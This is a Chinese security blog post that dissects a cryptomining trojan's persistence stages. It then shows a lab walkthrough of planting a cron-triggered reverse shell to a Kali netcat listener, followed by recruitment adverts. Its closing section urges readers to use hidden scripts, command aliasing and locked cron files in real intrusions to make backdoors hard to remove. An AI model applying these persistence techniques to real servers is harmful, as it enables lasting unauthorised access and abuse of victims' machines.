从挖矿木马看后渗透维权

Whale挖矿 2022-06-11

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.2

前言

在通过漏洞打入对方服务器后,如果痕迹没有清除干净或者在实施侵入的同时会有防火墙、waf(某云盾)等安全产品发出警报,比如某云服务器会直接发送邮件告知管理员,服务器被一个陌生IP登录,这时管理员可能会警觉,可能最直接的方式就是将22、3389等端口放入内网或直接关闭,如果想要获取对方长久的控制权,我们需要在其服务器中埋下稳定的后门,比如通过定时任务 crontab 反弹 shell,启发来源于挖矿脚本。

No.3

挖矿木马分析结果

阶段1

1.关闭防火墙和selinux。

2.释放掉被系统Cache占用的数据:sync echo 3 /proc/sys/vm/drop_caches,获得更多计算资源。

这里是矿机的CPU占用情况

3.配置crond定时任务以及授权密钥的路径。

4.定义一些变量,扰乱系统程序,干扰其它挖矿程序。

5.配置定时更新木马的文件,比如sysupdate,update.sh。

通过威胁情报平台确认de.gsearch.com.de域名为攻击者散播挖矿脚本的恶意域名。

阶段2

ps获取运行的进程,grep屏蔽掉自己,然后grep其它挖矿程序,awk获取进程编号,kill -9 强制杀掉。

阶段3

定义一个函数,调用curl,wget远程下载挖矿脚本。

阶段4

定时写入公钥,实现免密登录。

阶段5

给木马文件加锁,防止被修改或者删除。

阶段6

修改防火墙配置。

阶段7

清理入侵痕迹。

阶段8

劫持系统进程以及命令(比如ls,cd等常用命令,后期还会劫持sshd)。

从这个阶段开始分析服务器中存在的另外一个挖矿脚本,可以看出本人通过crontab -r 后任然无法删除定时任务,这里可能有两种原因:

1.有其他定时任务还在不断写入下载挖矿脚本的命令。

2.系统命令和系统进程被劫持,一旦被劫持的系统进程或命令生效,挖矿木马再次激活。

通过busybox尝试恢复被劫持的系统命令和进程后,重启服务器,重新登录服务器后依然有病毒进程被拉起,怀疑登录时加载的服务存在问题,最后终于发现/etc/bashrc 存在挖矿木马下载命令。

/etc/bashrc:为每一个运行bash shell的用户执行此文件,当bash shell被打开时,该文件被读取。所以重启后,挖矿脚本会继续下载。

网上资料的搜集(关于该类型挖矿木马的感染过程):

主进程操作

1.添加至开机启动,以及/etc/bashrc

2.生成了sshd文件 劫持sshd服务

3.将netdns文件设置为开机启动

4.编译libcryptod.c为/usr/local/lib/libcryptod.so

5.预加载动态链接库,恶意hook关键系统操作函数

6.修改/etc/cron.d/root文件,增加定时任务

7.拉起khugepageds挖矿进程。

No.4

笔者的辛酸删马环节

1.Ubuntu16.04写入定时任务反弹shell

测试环境

攻击机:kali-linux-2019.3,IP:192.168.101.153

靶机:Ubuntu16.04LTS,IP:192.168.101.142

2.测试时出现的问题:

crontab -e写入反弹shell,kali攻击机nc -lvvp 8888一直接收不到连接,service cron status,报错:

CRON: pam_unix(cron:session): session opened for user root by (uid=0)

CRON: pam_unix(cron:session): session closed for user root

解决:vi /etc/pam.d/common-session-noninteractive

在session required pam_unix.so

上方添加以下内容:

session [success=1 default=ignore] pam_succeed_if.so service in cron quiet use_uid

service cron restart

service cron status(报错已解决,但是kali任然无法收到反弹shell)

好像有错误信息:CRON[3901]: (CRON) info (No MTA installed, discarding output)

第一种方法:sudo apt-get install postfix

报错没有了,但是还是接收不到shell

换第二种方法

首先修改一下计划任务

然后我们过一分钟去文件error.txt查看报错信息

该错误信息的意思大概是:/bin/bash没有被找到,bash后面的” /dev/tcp/…”被当作系统文件或目录了,并没有通过binbash命令执行。linux里面的cron中命令执行的shell环境是/bin/sh,我们看一下/bin/sh文件的属性,发现/bin/sh其实是一个软连接,指向dashshell。

Ubuntu6.10已将先前默认的bashshell更换为了dashshell。Debian和Ubuntu中,/bin/sh默认已经指向dash,这是一个不同于bash的shell,它主要是为了执行脚本而出现,而不是交互,它速度更快,但功能相比bash要少很多,语法严格遵守POSIX标准。因为缺少了binbash的交互特性,所以kali中弹不回shell可以得到很好的解释了。

1.如果是 Dash 可用以下方法切回 Bash

方法一:修改默认脚本解释语言为bash

sudo dpkg-reconfigure dash(选择 NO)

\$ sudo dpkg-reconfigure dash

Removing 'diversion of /bin/sh to /bin/sh.distrib by dash'

Adding 'diversion of /bin/sh to /bin/sh.distrib by bash'

Removing 'diversion of /usr/share/man/man1/sh.1.gz to /usr/share/man/man1/sh.distrib.1.gz by dash'

Adding 'diversion of /usr/share/man/man1/sh.1.gz to /usr/share/man/man1/sh.distrib.1.gz by bash'

然后ls -l /bin/sh确认软连接指向bashshell即可,我采取的是第二种方式。

方法二:直接修改sh的软链接为bash。

sudo ln -fs /bin/bash /bin/s

此时kali正常弹回shell:

此外,除了通过crontab -e直接写入bash之外,我们还可以通过创建定时文件/etc/crontabshell,然后通过crontab -e调用该shell脚本:

* * * * * /etc/crontabshell,

crontab -e

vi /etc/crontabshell

chmod 777 /etc/crontabshell

此时kali再次弹回shell:

No.5

实战中的应用

真实的渗透环境中,我们可以调用多个文件去执行反弹shell,你也可以设置隐藏属性的shell脚本文件,或者alias劫持一些系统命令,给定时文件加锁。结合挖矿木马的特性,可达到不死马的效果。

No.6

招聘启事

安全招聘————————公司:安恒信息岗位:Web安全 安全研究员部门:安服战略支援部薪资:13-30K工作年限:1年+工作地点:杭州(总部),广州岗位剩余编制:3人工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…【岗位职责】1.定期面向部门、全公司技术分享;2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;3.负责完成部门渗透测试、红蓝对抗业务;4.负责自动化平台建设5.负责针对常见WAF产品规则进行测试并落地bypass方案【岗位要求】1.至少1年安全领域工作经验;2.熟悉HTTP协议相关技术3.拥有大型产品、CMS、厂商漏洞挖掘案例;4.熟练掌握php、java、asp.net代码审计基础(一种或多种)5.精通Web Fuzz模糊测试漏洞挖掘技术6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法7.有过独立分析漏洞的经验,熟悉各种Web调试技巧8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)【加分项】1.具备良好的英语文档阅读能力;2.曾参加过技术沙龙担任嘉宾进行技术分享;3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;5.开发过安全相关的开源项目;6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;7.个人技术博客;8.在优质社区投稿过文章;

岗位:安全红队武器自动化攻城狮薪资:13-30K工作年限:2年+工作地点:杭州(总部)【岗位职责】1.负责红蓝对抗中的武器化落地与研究;2.平台化建设;3.安全研究落地。【岗位要求】1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。【加分项】1.有高并发tcp服务、分布式等相关经验者优先;2.在github上有开源安全产品优先;3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;5.具备良好的英语文档阅读能力。

设计师

————————

【职位描述】负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。【职位要求】1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;3、有品牌传播、产品设计或新媒体视觉工作经历;【关于岗位的其他信息】企业名称:杭州安恒信息技术股份有限公司办公地点:杭州市滨江区安恒大厦19楼学历要求:本科及以上工作年限:1年及以上,条件优秀者可放宽

简历投递至 strategy@dbappsecurity.com.cn

安恒雷神众测SRC运营(实习生)————————【职责描述】1. 负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;2. 负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;3. 参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;4. 积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;5. 积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。【任职要求】1. 责任心强,性格活泼,具备良好的人际交往能力;2. 对网络安全感兴趣,对行业有基本了解;3. 良好的文案写作能力和活动组织协调能力。

【工作地点】

杭州、广州

简历投递至 strategy@dbappsecurity.com.cn

专注渗透测试技术

全球最新网络攻击技术

END

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

免责声明:世链矿业网作为开放的信息发布平台,所有资讯仅代表作者个人观点,与世链矿业网无关。如文章、图片、音频或视频出现侵权、违规及其他不当言论,请提供相关材料,发送到:2785592653@qq.com。

风险提示:本站所提供的资讯不代表任何投资暗示。投资有风险,入市须谨慎。

    分享文章:

  • 微信扫一扫
    从挖矿木马看后渗透维权